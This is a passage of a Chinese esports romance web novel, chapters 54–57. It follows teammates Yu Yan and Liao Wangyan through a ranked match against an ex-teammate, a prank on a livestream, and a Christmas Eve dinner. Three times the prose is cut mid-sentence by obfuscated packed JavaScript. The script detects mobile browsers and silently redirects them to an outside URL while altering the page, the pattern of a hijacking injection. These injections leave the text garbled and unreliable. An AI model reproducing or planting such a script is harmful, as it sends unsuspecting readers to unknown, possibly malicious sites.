等他三下五除二将早饭吞进肚,于琰那边的游戏也开了,他刚想给于琰喂两口东西,就瞥见了于琰的脸色 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水友看见这种老队友碰头的场面自然兴奋,毕竟之前钟络离队起了一波不小的节奏,廖望延当初作为受害者还特意在直播里解释了半天,自那之后HG众人再也没从直播间里提起过钟络这个名字,偶尔有人在rank中碰见也是毫无沟通,早就有人怀疑他们中间出了什么事。 不管弹幕如何带节奏,于琰此时在游戏里也看不见一个字,根本影响不到他的心情。 说来也是巧,自从和钟络分手之后,于琰就从来没在路人局遇见过他。其实二人的训练时间有很多都能重合上,但或许就是没缘分,于琰遇见过左星水和Nap,也遇见过邵乖,甚至被坐在旁边训练的廖望延在对面暴打过,但却自始至终没见过Clock这个游戏名。 直到今天。 突然想起二手货这三个字,于琰猛地捏了一下鼠标。 这局游戏他打的异常凶猛,明明选的是小炮这种英雄,但他却玩的像是乐芙兰。 14分钟,于琰操作小炮单杀对面中路维克托。他缩回塔下正要回城,自家野区里却撞出一个酒桶。 酒桶扔大招的一瞬间,于琰眼疾手快地按下闪现,与酒桶拉开身位后开始开着Q去A酒桶。 酒桶本就顶着防御塔的伤害准备收下残血的小炮,此番攻势不成反倒将自己置于危险境地。酒桶闪现出防御塔攻击范围,于琰的小炮跟上W火箭跳跃,像一条疯狗一样咬着酒桶不撒口,而此刻于琰这边的路人打野皇子也已经赶到,二人配合将酒桶的人头成功拿下。 “嗤,真是……” 于琰话还没说完,就被廖望延一块面包片打断发言,作案者边笑边提醒:“友谊第一,游戏第二,小于同学说话要注意影响哦,你的水友里还有未成年呢。” 于琰只好愤愤咽下还没说完的话,吃完嘴里的东西他又对廖望延颐指气使:“既然你不打,就从旁边喂我吃饭吧,正好让你看看什么叫中路的顶级操作。” 廖望延不和于琰拌嘴,乖顺地坐在旁边一口一口喂。倒不是他真听话,他只是怕自己万一一个没看住,于琰就说出了什么不该说的话,为了少生事端,还是从旁盯着为好。 刚才那波团打完,钟络从所有人发来对话: [Clock(酒桶):小琰,又变厉害了。] 于琰皱着眉按esc,立刻想关闭所有人对话这个功能。没等他有下一步操作,廖望延从旁开口:“老队友都主动发来慰问了,不回也不好。” 于琰不耐烦地问:“你想回什么?” “你就回多谢夸奖,都是队里的新打野教的好。” 于琰翻了个白眼。 还不如屏蔽所有人对话呢。 55.Chapter 55 不管旁边如何逼逼,于琰还是毅然决然的把所有人关了。 廖望延就是个看热闹不嫌事大的主,他的建议完全可以不采纳。 “喂,为什么不听我的?节目效果你懂不懂啊,节目效果是主播的生命啊!你天天坐这死玩能挣到什么礼物钱?” “。” “我警告你于琰,你少装带着耳机听不见我说话,我知道你听得见,赶紧给我把所有人打开。” “。” “要不你让开吧,让我来打,我去和钟络交流一下感情,正好你这早饭还没吃完。” “。” “于琰!老子是空气吗你这么无视我!” “。” “你有本事一辈子别说话。” “。” 廖望延单方面对话,于琰全程无视。 摄像头很高清,高清到能拍出于琰从一开始的面无波澜到后面的咬牙切齿强颜欢笑嘴角抽搐全过程。 【以前从未觉得Mesh如此聒噪……】 【感觉于琰和钟络关系不太好的样子,正常来说老队友遇见了不都得寒暄一下吗?】 【感觉Mesh再多说几句就又要挨打了。】 【老队友主动聊天,主播回都不回,还把所有人频道关了,这很明显是有矛盾吧?】 【装都不装了,看来关系真的很一般。】 于琰不知道弹幕在说什么,还在逼着自己心无旁骛的打游戏,可身边某台噪音制造机的电量却始终保持满格。 烦躁之下,他操作的小炮从初级疯狗状态直接飙升到了满级,见谁咬谁,别说是跟他对线的维克托,就连对面上单剑魔他都不虚,开着Q就吭吭A。 不就是死吗!来啊! “你队友离你有一个大西洋的距离,而你的对手就差贴着你的脸和你热吻了,你是先锋敢死队队长?” “一会打完直接关游戏,我怕维克托在结算界面问候你全家老小,大平安夜的,让你的直系亲戚们过个好节吧。” “哈喽,你还记得面前的人是你前队友吗?放着ad不打你打酒桶,你是觉得A的越多爱得越深吗?大嘴今天晚上做梦都得复盘到底自己是有多菜,才能让你这么无视他。” “酒桶的啤酒肚都快让你打凹进去了,我从未见过如此血腥的场面,简直堪比美国血浆片。” 廖望延叭叭个没完,嘴跟淬了毒一样。 “钟络好像还开着直播呢,要不我替你去送个猫爪吧,就当是他的精神损失费。” LPL的大部分选手都是和喵喵直播签的合同,钟络也不例外,而廖望延口中所说的猫爪正好是喵喵直播里最便宜的礼物。 喵喵直播有一毛钱一个的猫爪,也有十万块一个的钻石喵,廖望延觉得,钟络只配让自己送最便宜的礼物。 于琰以为廖望延是说着玩的,没想到后者言出随行。 廖望延反正还没开始训练,说完就靠在电竞椅上打开了网页版的喵喵直播,从搜索框输入了DL.Clock这个名字,页面自动跳转到钟络的直播间。 廖望延连小号都没开,金光闪闪的大号一进直播间就有专属弹幕告知房内的所有人—— HG.Mesh光临本直播间。 【我没睡醒?谁来直播间了?】 【我靠,Mesh?他来干什么?又出什么事了?】 【啊啊啊啊啊啊啊啊啊Mesh!!!】 钟络刚被于琰一套技能打回家,此时正在泉水里补给装备,看见弹幕满屏的Mesh他基不可察地皱了下眉。 “欢迎延哥。”他说。 廖望延看着号里的喵喵币,眼睛滴溜溜一转。 随后直播间里的水友就看见挂着HG.Mesh的顶级账号开始手搓小猫爪。 猫爪x1 猫爪x27 猫爪x66 猫爪x…… 猫爪x1314 喵喵直播其实可以直接送出专属数字的猫爪,但有仪式感的水友们在送礼时大多还是会选择手搓,以此体现自己对主播的感情。 要卡专属数字并不容易,要保持匀速,要计数,中途还要避免各种原因的突发状况导致中断送礼。 于琰直播间的水友们听见小道消息开始一股脑的往钟络直播间里拱。 钟络两千来人的直播间,因廖望延这个骚操作直接飙升到近万。 大家都在吃瓜围观。 水友们从刚开始的哄笑,到中途的不解,到最后的满脸问号。 【哥们,今天之前我根本不敢想,Mesh能给Clock送1314猫爪,钱虽然不多,但这个数字太暧昧了。】 【什么意思?打野x打野?也不是不行……】 【浅磕一口,cp名有没有人取一个。】 【黄鼠狼拜年不安好心,他到底来干嘛的?】 【FLY和Mesh当了四年队友,别说1314猫爪,他连个猫毛都没得到过。】 廖望延一想到自己这波犯贱操作,心情就好得不得了,手搓完1314还贱嗖嗖地从聊天框打字: HG.Mesh:刚才喂于琰吃饭呢,看见你俩排一块了,来和老队友联络联络感情。 HG.Mesh:你也知道,于琰一打游戏就上头,我怕他打你打的太凶让水友误会什么~ HG.Mesh:哦对了,于琰的所有人关了,他比较守男德,我在的时候他一般不和其他打野对话,他知道我比较善妒。 HG.Mesh:这1314就当是我和于琰一起送你的平安节礼物。小钟到时候用这钱去买苹果吃吧。 HG.Mesh:我和于琰晚上要去单独过平安夜,嗐,他约我我也不好意思拒绝,你今天什么安排? HG.Mesh:如果没安排的话和我说一声,晚上我俩吃西餐的时候和你开视频,虽然不能让你吃上,但能给你满满的节日氛围。 HG.Mesh:于琰打完了,我得继续喂他吃饭了,回聊啊小钟。 廖望延打字速度飞快,也不在乎钟络到底看没看见,到底想不想回,反正他自娱自乐倒是挺开心。 毕竟他这次来,就是为了骚。 劈里啪啦打完几句话,廖望延挥挥衣袖退出直播间,一大堆看热闹的水友们也跟在他屁股后面一起回了于琰那里。 钟络看着屏幕上红色的失败二字没什么感觉,鼠标轻点退到结算界面,现在才抽出空看弹幕。 他按住鼠标滚轮,往上翻动了好几页才看见廖望延那些绿茶言语。 钟络和于琰廖望延不同,后两位是睡饱了早起训练,而他是从昨天下午一直打到了现在。 熬了一个通宵,本来就疲乏的不行,他本来都没想开刚才那一把,是水友缠了他半天他才同意再打最后一局,他也是排进去了之后看见水友的提醒才知道排到了于琰。 那波gank之后的所有人对话,他不是故意想恶心于琰,是真心实意的觉得于琰现在变厉害了。 看着廖望延那些小狗圈地盘的发言,钟络当着几千水友的面没说什么,只草草地和大家说了一句平安夜快乐,就飞快下了播。 另一边的于琰将钟络全队按着打,小炮战绩14-8-10,拿下本场mvp。他伸了个懒腰,将面前的盘子端在手里开始边看弹幕边吃饭。 嘴里的香肠和煎蛋早就凉透了,而于琰的心也跟着弹幕滚动越来越凉。 【管管你的打野吧,他都骚到钟络面前了。】 【Shark,还不知道Mesh刚才都干了什么吧?建议你问问他。】 【给钟络手搓1314猫爪是什么新型结婚伴手礼吗?】 【Mesh说晚上要和钟络开视频一起过平安夜,你们仨把日子过好比什么都重要。】 “你他妈的刚才都干什么了?”于琰猛地把盘子摔在桌面上。 廖望延伸出手指头,把盘子往里推了推,摊开两只手无辜回答:“没干什么啊,刚才不是和你说了吗,替你送点猫爪赔礼道歉,抚慰一下他受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【在NWG四年,你们见过廖望延对谁是这种态度?以往FLY想黏他都要被阴阳怪气半天好吧。】 【所以?正常不正常没看出来,只看出来FLY实惨。】 【你们这群腐女差不多得了,谁不知道他俩认识十多年,兄弟之间开开玩笑怎么了,到你们这就非要往爱情上扯?】 【腐女都收收吧,别看见关系好的两个男的就非要往一起安,他俩看着都是个顶个的直男,老说这些恶不恶心啊。】 【把选手和女主播女主持拉一起的时候没看你们这么义正言辞,到了我们这怎么就开不起玩笑了?】 两个选手在屏幕外打架,水友们在屏幕里打。 热闹非凡。 等于琰坐回自己的位置,点开摄像头的时候,直播间里的氛围早已被房管控制了下来,他也就没能得知刚刚水友都吵了些什么。 说是打架,其实也就是闹着玩,谁也不会真的下狠手。于琰就是心烦,明明和钟络的关系都到这份上了,廖望延还非要自作主张的替自己去送礼物,多余的很。 他就是小心眼!这钱与其送钟络还不如多给黑天大帝买几个狗罐头。 廖望延想的比于琰多。于琰毫不掩饰自己讨厌钟络,水友们多多少少闻到了味道,以今天这种情况,如果没有一个从中缓和的台阶,很多黑子又要将好不容易平息下去的HG队内不和重新搬上台面,到时候又指不定要起多少节奏。 现在既然有这个机会,又能堵住黑子的嘴,又能给钟络添堵,何乐而不为呢? 给钟络添堵是廖望延永远的必修课。 于琰边排队边和水友聊天:“为了月底不补时长,今天会播到晚上六点左右,然后我就收拾收拾和老狗比出去吃饭了。” 【真准备出去吃啊?平安夜得早订桌哦,不然会没位置。】 【Shark,中午少吃点,晚上掏空Mesh的钱包。】 【平安夜……俩人……哦哟,真有氛围啊。】 “他们说平安夜得早点订位置,你想吃什么?”于琰看向旁边。 廖望延还在玩扫雷,懒散地回:“看你,你有什么想吃的?” “想吃牛排和意面,你找个西餐店吧。” “行,别管了,我订。” “万一不好吃我可要骂人的。” “打你的游戏吧,还威胁上你爹了,再逼逼晚上给你吃大帝的狗屎。” 56.Chapter 56 平安夜的客流量真可以说是人山人海了,要不是廖望延提前订了桌,于琰觉得他俩晚上根本找不到地方吃饭。 于琰环顾了一圈满员的西餐店,卷起一圈虾仁罗勒意面送进嘴里,含糊着说:“这店你从哪找的?味道还可以啊,以后可以常来。” “问的老梁。” 廖望延自早上和于琰敲定行程,就从各个平台比对西餐店,两三个软件来回切,找了半天也没找到合适的,索性跟好久没说过话的老梁发去求助。 【Y:在?】 【梁山好汉:没事你可不找我,说吧,遇上什么难事了。】 【Y:推荐一下,有没有什么好吃的西餐店,晚上我要带着于琰去吃。】 【梁山好汉:东二街往里走,倒数第二个店,那家西餐还不错,一会我把电话发给你。】 【Y:谢了。】 【梁山好汉:免了,不过你怎么突然想去吃西餐了?】 【Y:于琰想吃,正好赶上平安夜,凑个节日氛围。】 【梁山好汉:……搞得和小情侣一样,服了。】 廖望延没再和老梁闲聊,将手机锁了屏rank了几把,又忽然之间想起了什么,连午饭都没吃就匆匆出了门。 下午回基地,廖望延拎了一塑料袋的苹果,从餐厅一个个洗干净送到每个人面前。还带着水珠的苹果摆在桌面上的时候,所有人都被他这莫名其妙的仪式感搞蒙圈了。 Nap当时正开着直播,低头看了一眼苹果,果断操控手下的英雄躲进草丛原地回城,随后将苹果举到了摄像头面前给水友展示。 “延哥送的苹果,一会我开个抽奖送给你们,吃完立刻叠加冠军buff上王者。” 苹果色泽红润个头够大,左星水啃了一口,又脆又甜,他笑着问廖望延:“Mesh,怎么想起买苹果了?” 此时廖望延正拿着苹果往于琰嘴里送,看于琰嗷呜一口用牙齿叼住,他甩了甩手上未干的水渍,懒散地回:“平安夜了没什么送大家的,就送个祝福吧。” 于琰把带着牙印的苹果放在桌子上,盯着屏幕边补兵边问:“中午连饭都没吃就为了出去买苹果?叫个外卖不就行了,平时也没见你这么有仪式感啊。” 廖望延没吭声,去厨房泡了一桶泡面重新坐回位置上单排。 时间一眨眼就到了晚上,于琰一听这家店是老梁推荐的,不禁问:“梁哥的副业是探店?” 廖望延把手里切好的牛排换到于琰面前,又把没动的那份拿到自己这边,点了点头:“以前基地里没事的时候他就爱出去找馆子,上到大几万一份素食的私人定制,下到十块钱一碗面的苍蝇馆子,T市都快被他吃遍了,所以不管是谁想吃饭都会找他推荐。” “厉害了我的梁。” 相比于于琰的狼吞虎咽,廖望延吃得慢条斯理,等于琰把面前的意面和牛排都吃了个盘干碗净,廖望延面前的东西刚吃了不到一半。 眼瞅着于琰开始百无聊赖地眼神乱晃,廖望延放下手里的刀叉,从外套衣兜里拿出了个丝绒的盒子推到于琰面前。 “啥玩意?”于琰盯着盒子问。 “送你的,平安夜加圣诞节礼物。” “中午有苹果,晚上还有礼物,你丫怎么突然跟变了个人一样。” 于琰一听是送自己的,也不跟廖望延客套,忙用纸巾擦了擦手把礼物捞到手里。 盒子不大不小,四四方方,看外形像是个表盒,打开以后也的确如于琰所想。 于琰惊讶地看着丝绒盒子里的手表,没第一时间往手腕上套,反倒是低着头不知道在寻思着什么。 “你爹送你个礼物要把你感动哭了?”廖望延看着半天没动静的于琰不由得问。 于琰再抬脸时,面上是难得一见的严肃,丝毫不见刚才收到礼物的欣喜。 “你跟我说实话,你是不是惹什么祸了?” 廖望延往嘴里送沙拉的手顿了一下,用眼神传递疑惑:“什么?” 于琰把表盒往桌子中间一送,语带沉重:“你知道你上一次这么郑重的送我礼物是什么时候吗?” 看于琰一副想歪了的表情,廖望延放下手里的刀叉,翘起二郎腿:“什么时候?” “咱俩上初二的时候。那天你来我家玩,背着我把老于的手串拽断了。我爸对它比对我都亲,天天宝贝宝贝的喊。”过去了好多年,于琰依旧对这件事记忆犹新,“你怕挨骂,把手串珠子塞电视柜抽屉里,给我买了不少steam上的游戏,美名其曰是迟来的生日礼物,天知道那时候离我生日已经过去一个月零13天了。” “那时候我真信了你的鬼话,当天晚上还通宵玩新游戏。结果转天我爸左手捧着手串珠子,右手拎着扫帚,把我从床上打到地下,追着我满屋跑。” 于琰现在提起这件事,依稀还能记得那天他爸送他的一顿竹笋炒肉。 于爸拿着扫帚满屋子追于琰,边抡边骂:“老子让你手欠,你个小兔崽子都毁了我多少条手串了?!” “爸我没有!!!” “还嘴硬!不是你还能有谁!你妈压根不碰我这些东西,难不成还能是我自己拽断了藏抽屉里的?!” “跟我有什么关系!昨天廖望延也来咱家了,没准是他干的!” “现在还学会泼脏水了是吧?人家小延一看就乖的很,根本不可能干这种事,我还没说你天天带着人家不学好呢!” “不是……哎呦!真不是我啊!请苍天辨忠奸啊!!!” 于琰被于爸追着抡了好几下,扫帚打在屁股和后背上传出好几声劈里啪啦的闷响。 廖望延也没得着好,周一上学就被于琰按在学校操场上好一顿乱锤。 “你从我家玩完拍拍屁股回家,我爸转天拍拍扫帚给我一顿好打。”于琰看着手里的表盒,感觉它此刻无比烫手,“你今天又是苹果又是手表,很难不让我觉得你又要栽赃陷害我什么。” 廖望延经此一提,也想起了当初的那件事,撑着额头连连发笑。 他笑得肆意,从一开始的轻笑到后面捂着眼仰头大笑,引得一众食客对二人的桌位投以目光。 “你他妈笑个屁啊?说话啊,你到底又干什么了。” “真没干什么。”廖望延笑得眼角都有点泛红,他用纸巾擦了擦眼角笑出的眼泪,“放心拿着,就是送你的,给你买的这块表和我自己手上的是同款。” 看于琰还是一脸信不过自己的样子,廖望延把手机银行怼到他眼前:“你就当我钱多了烧的慌,不送你点东西我就难受,这个理由能接受吗?” “真的?” “比你爸打你都真。” 于琰看着面前手机里的八位数余额,暂且信了,美滋滋地把盒子收回来,将表套在自己的左手手腕。 “好看,你眼光是不错。”于琰越看越喜欢,“多少钱?” “别问,问就是买苹果送的。” “啧,糊弄鬼呢。” “送你东西还话多,再说一句就给我摘下来,我直接挂二手平台卖了。” 看得出来于琰是真喜欢这块表,等廖望延吃完饭,他还靠在椅子上低头摸表。 “别摸了,再摸一会掉色了。”廖望延调侃他。 “什么意思,就跟那种假的大金链子一样?带一天摘下来一圈绿的那种?” “那也没准。”廖望延擦了擦嘴,换了个话题,“下周春季赛赛程就该出来了,有什么感想?” 于琰没抬头,随口答:“没什么感想,抽着谁打谁,咱现在训练赛一场没输过,打谁我都不虚。” “这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004650|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自信?” “那是。”于琰抬起头,“你呢,怎么想?” “你个手里没成绩的都敢这么狂,我不狂一点都对不起自己。不过提前给你打个预防针,NWG今年很猛,之前咱们和他们的训练赛因为FLY拉肚子告吹,后面没再约,不过据我线人汇报,他们训练赛也一场没输。” “线人?谁?”于琰问。 “拉肚子那个。” 于琰露出个挑衅的笑:“我昨天rank还遇见FLY了,他被我按在地上打。” 廖望延慢条斯理地用毛巾净手:“平时训练和上赛场是有区别的,而且一两场游戏也看不出什么,别因为现在表面的成绩就飘,到时候有你苦头吃。” “我没飘,我只是很相信咱们现在的能力。”于琰与廖望延对视,毫不掩饰自己眼里的狂妄,“不相信自己还打什么电竞,老子现在就觉得自己是LPL中单TOP1。” “行,看你这种状态我就放心了,主要我看你们最近练的越来越多,怕你们压力太大弦绷得太紧,到时候春季赛反倒容易出岔子。” “我练得多也不是因为压力啊,是因为……” 廖望延没等于琰话说完,就抬手比了个停止的动作:“大好的日子不谈晦气的人,坐我面前还提他,真想让我现在给他打视频咱仨一块过平安夜?” 于琰翻了个白眼:“可别,我怕刚吃进去的东西看见他又吐出来,那可就白瞎这顿饭了。” 廖望延订的座位是店里二楼的靠窗,落地窗既反射出了店内明亮欢快的倒影,也映照出了屋外极具节日氛围的街景。 桌子上只剩几个空盘后,两人静坐消食。 廖望延食指指腹抵在冰凉的玻璃上,他微微低头,看着店外人群熙攘的街道静静出神。 东二街并不窄小,但在平安夜人群的加持下也显得有些堵塞。为了迎合节日氛围,大部分店家都在店门口摆出了或大或小的节日特色,大大小小的圣诞树、店玻璃上的姜饼人贴画、摞成几层高的礼物盒、红红绿绿的小气球。 所有人脸上都挂着笑容,有情侣十指紧扣穿梭在交错的人群,有成群的姑娘立在小商贩前选购商品,有店铺的促销员立在门口给来往的过路人送宣传页,一切都显得慌乱中自有一套秩序。 廖望延看得有些入迷。 在一众人群中,他眼尖地逮到了一对同性情侣,是两位女生,身高相仿,皆是黑发,一长一短。 短发女生拉着另一位站在墙边,半蹲下身子给面前的人系大衣的扣子。长发女生好像不太情愿,二人一个系一个解,在原地僵持了一两分钟。 许是不想引起关注,长发女生还是先松了手,任人把扣子系到了自己脖颈处。短发女生摸了摸她的脸,替她重新整理了一下格纹围巾,最后在她唇边轻轻贴下一个吻。 那个吻又轻又快,一触即分。 被亲的女生愣了一下,立刻扬起笑容,随即挽着女朋友汇入人群。 廖望延从楼上看见了全过程。他的食指从玻璃缩回腿上,与拇指轻轻相捻,将微凉的触感捻至温热。 “于琰……” “阿延!” 相对而坐的二人同时开口,廖望延咽下未说的话,抿了抿唇抬眼看于琰:“怎么了?” 于琰没看他,脸凑近了玻璃,一双眼亮亮地看向窗外:“下雪啦!” 廖望延微怔,偏头去看。 雪很小,小到几乎察觉不出,偶尔才有零星的几颗雪粒子从天上降落,但还是被于琰察觉到了行踪。 “嗯,下雪了。”廖望延说。 平安夜下雪,是个浪漫的具象化。 于琰笑着问:“你刚才叫我是想说什么?” “没什么。”廖望延收回目光,看着他的侧脸,“平安夜快乐。” 57.Chapter 57 饭后,迎着小雪与人群背道而驰,于琰和廖望延往露天停车场走。 东二街的停车场在最外面,而西餐店在最里面,来的时候顺着人流还没太多感觉,走的时候他俩倒是分外贴切的体会到了平安夜的拥挤程度。 人挤人挤死人,尤其是逆着人流,更是被人东撞一下西碰一下。 廖望延在前面开路,于琰在他身后不紧不慢地跟着。后者的眼睛左瞅瞅右看看,对什么东西都一副很感兴趣的样子,两人现在倒真活像是年轻的爹领着一个智力不健全的傻大个儿子。 两个女生为了去小摊贩光顾,想从他俩中间的缝隙挤过去,她们对着于琰摆了个手势,而于琰也绅士的留出空位供两位女生通过。 此时廖望延还不知情地在和背后的于琰对话:“一会买杯喝的吧。” 身后没有回话,廖望延停下脚步往回看,他个子够高,在一众人里一眼揪出了想找的那颗头。 本该跟在他身后的某人现在跟两个不认识的女生聚在一个摊贩前,弯着腰不知在选什么。 廖望延在心里叹了口气,家养犬不拴绳是真不行,一眼看不见就要丢。 他返身走到于琰身边,垂眼看着后者手里的东西,问:“想买东西不知道叫你爹一声?你哑巴了?” 两个女生一听这阴阳怪气的话,悄悄抬起头看了一眼廖望延,随后又互相对视一眼开始耳语。 于琰没注意到她们的动作,眼睛还盯在手上,懒懒散散地开口:“咱冰箱上太空了,我看这俩姑娘过来买冰箱贴,我也想买两三个回去贴上。” 廖望延耳力很好,听着两个女生嘟囔着‘他们好配哦’,‘是啊是啊’,‘好像还同居了耶’,‘是啊是啊’,‘好想给他们拍张合照哦’,‘是啊是啊’,他有一种爽到了的感觉。 “买,多买几个,我付钱,回家贴满整个冰箱。” 于琰不知道廖望延又犯什么病,毕竟后者平时最不在意这些装饰品摆件类了,但既然有人付钱,不捞一把是傻子。 “这可是你说的,那我可狂风扫荡了?” “扫就完了。” “老板,这个这个这个这个这个,都要了,另外这个这个也要。” 廖望延掏出手机付款的时候,于琰拎着小袋子和那两个女生告别:“那我们就先走了哦,你们慢慢挑。” 似乎是于琰的搭话给了勇气,两个女生中的其中一个突然开口:“你们两个还蛮帅的,正好这个摊子装饰的很好,要不要给你们拍个合照?拍完可以隔空投送给你们。” 于琰刚想拒绝,付完款的廖望延就应了下来:“好啊,那就谢谢你们了。” “不客气不客气!”没想到自己的提议能被采纳,女生明显很开心,“那你们站在这个小吊灯这里,凑得近一点。” 于琰一脸莫名其妙地被廖望延搂住肩膀,后者手上微微使力:“笑一下啊,给咱俩拍照呢。” 女生一看就是拍照达人,不久后就将照片传到了廖望延手机上。 廖望延和于琰走后,两个女生还在小摊子前一脸兴奋,正主走了以后她们的声音也大了起来。 A:“妈呀妈呀!那个穿大衣的帅哥上手搂穿棉服的帅哥的时候,我差点没控制住叫出来!” B:“是啊是啊!” A:“好配哦呜呜,他们动作好自然好亲密,一看就是在一起很久了的样子。” B:“是啊是啊!” A:“你除了是啊还会不会说别的!” B:“他俩帅到我不知道该说什么,只能附和你的话。” 告别两个女生后,于琰双手插兜,将下巴埋进围巾里,雪粒掉在他黑色的围巾上像是凭空多了些点缀,他声音轻快:“吃饱喝足,晚上继续征战峡谷。” 廖望延觑了他一眼:“最晚不能超过一点。” “人家都是巴不得队友练得多,你可倒好,天天逼着我早睡。” “别到时候冠军没拿到就先拿到黑白照片了,你爹是为你好,别不知好歹。” “闭上你那个乌鸦嘴吧!” 或许老天爷也觉得这种日子不该降下极端天气,平安夜这天的温度相较往日更温和,既没有大风也没有骤冷。 二人肩贴肩回到车里,于琰扯下脖子上的围巾扔到后排座位,廖望延边热车边看着方向盘出神。 “于琰。” 被叫了大名的人正系安全带,从喉头冒出一个疑惑的“嗯?” “你和钟络……” 廖望延的话说一半就断掉,他非常不想在这种日子提起这个人,但不久前目睹的那个吻却一直萦绕在他脑海里。 某些事,让他莫名在意的要命。 于琰听见后者的名字挑了下眉头:“是谁刚才说大好的日子不提晦气的人?现在这话原封不动的还给你。” 廖望延抬起眼睫,将手挂在档把上:“算了,没什么。” 话说一半停下来吊着人的感觉最难受,于琰也体验到了这个感觉,虽然很晦气,但于琰还是迫切的想知道廖望延后半句到底想说什么。 “说啊,你提都提了,现在咽下去你不嫌膈应我还嫌呢。” 廖望延握在档把上的手紧了紧,他看着车窗玻璃外的人群,思虑着接下来的话到底该怎么说。 “喂?在吗?你没挂离线状态,别装死。” “……” “掉线了?我给你开个加速器?” “……” “廖望延,人的忍耐是有限度的!” 廖望延从脑子里打的草稿被一句句催促搅得没了大半,他索性也不琢磨了,直接问:“你和钟络搞了两个月,都干什么了?” “干什么了?”于琰没明白这话是什么意思,满眼的不解,“还能干什么,两眼一睁就是训练,两眼一闭就是睡觉,连做梦都是怎么连招才能更帅。” 廖望延把自己的座位往后调了调,半躺着用手盖住眼帘。 这个傻逼,是真听不懂他的画外音还是故意装傻充愣啊? “我是说,你俩到哪步了,拉手?抱?亲?还是……”廖望延没再往后说。 他最多也只能接受到接吻这一步,要是再过分,他感觉自己可能会踩死油门,和于琰直接做一对亡命鸳鸯。 这句话问完,车厢内的空气顿时凝滞了半分。 手心虚拢着双眼,廖望延半睁开眼,面前的光线被挡掉了九成,他只能从大片的黑暗中借由指缝寻觅到一丝明亮。 他不知道自己在等于琰做出怎样的回应,只知道这种不上不下的心绪果然烦人。 “虽然不知道你为什么问这个,但我只能说,我和钟络谈恋爱的那两个月可以总结成两个字。” 于琰卖了个关子,像是耐心的猎人给迫切寻求食物的小兽留下的一个简陋陷阱。 廖望延心甘情愿的一脚踩进去。 “哪两个字?”他问。 “纯爱。”于琰笑了一声,用手背蹭了蹭鼻尖,“他说他没谈过恋爱,但我也没谈过啊。我俩最亲密的举动也就是抱一抱背一背,没事的时候牵牵手,还必须得偷偷摸摸背着水哥邵乖他们。所以这么一想,可不就是纯爱。” 廖望延轻轻放下盖在双眼上的手。暗处突然变到明处,眼睛有些轻微涩痛,他眯着眼偏头看于琰:“没亲过?” 问的很直白,直白到于琰有点想立刻下车走人。 “没啊……” 廖望延把座椅重新调直,握着方向盘挂挡出发,目不斜视地回:“嗯,知道了。” 气氛有些尴尬,于琰从兜里掏出烟给自己点上,降下车窗,看着后退的街景沉默不语。 他没问廖望延为什么要问这个问题,因为相较于这个问题,他更想知道自己为什么脑子一热就实话实说了。 平时二人出门都是一路的不消停,于琰没完没了的叽叽喳喳,廖望延被吵得耳朵疼就阴阳怪气几句,然后引来于琰新一轮的叽叽喳喳。 今天的回程于琰却异常沉默,沉默到廖望延有点不舒坦。 廖望延借着等红绿灯的空挡用余光扫了扫副驾驶上的人,看于琰手里拿着烟灰缸将下巴抵在车窗上吹风,他淡淡地问:“我送你一份礼物,你送我一场感冒?” 于琰回头看他:“什么意思?” “你这么吹一路,明天就能收到圣诞老人送你的咳嗽和鼻塞,幸运的话还能额外收获一场发烧。马上打比赛了,别给自己找事,把窗户升上去。” “哦。” 于琰听话的照办,但仍旧没如往常一般拉着廖望延侃大山。 看指示灯由红转绿,廖望延踩下油门,开诚布公道:“半小时前还逼逼个没完,现在怎么摇身一变成小哑巴了?就因为我刚才问你的那件事?别多想,我就是吃饭的时候看见路上有人亲嘴,有点好奇。” 于琰直视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016986|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前方,捏着手机在手心里一圈圈的顺时针旋转,仍旧保持沉默。 又是一个红绿灯,廖望延终于耐不住性子,偏身去看。 “说话。” 于琰选择性忽略旁边的视线,十几秒后抬手指了指前方:“绿灯了。” 廖望延“啧”了一声,回正身体,将行驶速度提了上去。 到基地的时候时间差几分钟到11点,于琰哼着歌进屋换鞋,目的地对准训练室一步步迈近。 忽然,从于琰后方伸出一只手,拉着他的衣领调转方向,将目的地转到了会议室。 “老子要去训练!你把我拉来会议室干什么!”于琰背靠会议室的门,边抬手整理衣领边嘟囔,“都把我衣领扯大了。” 廖望延用食指抵住于琰的眉心,逼着他和自己对视:“刚才那一路都想什么呢?为什么不说话?” “想我回来训练玩什么啊,我还能想什么。” “当你爹是傻子?” 于琰无意和廖望延拉扯,拍掉面前的手转身去拉门。 廖望延猛地抬手按住玻璃门。他不让人走,又不知道该说什么,此刻竟有种无可奈何的轻微丧气。 于琰倒也没了下一步动作,二人僵在原地。 “是我越界了,以后不问了。”廖望延看着于琰的后脑勺说。 “你确实越界了。” 于琰只需要六个字,就能让廖望延心凉得透彻。还没等他想好下一句说辞,于琰又开了口。 “谁家好人上来就问和前男友亲没亲过嘴啊?你他妈是什么变态吗?”于琰转身推开廖望延,眼中含着藏不住的无语,“再说了,老子20来岁的人了,连个嘴都没亲过,说出来真的很丢人。” 于琰挠了挠额头,又抠了抠脸,一副妈的越说越觉得丢人的样子。 廖望延因他的话晃了晃神。 原来是自己多想了。 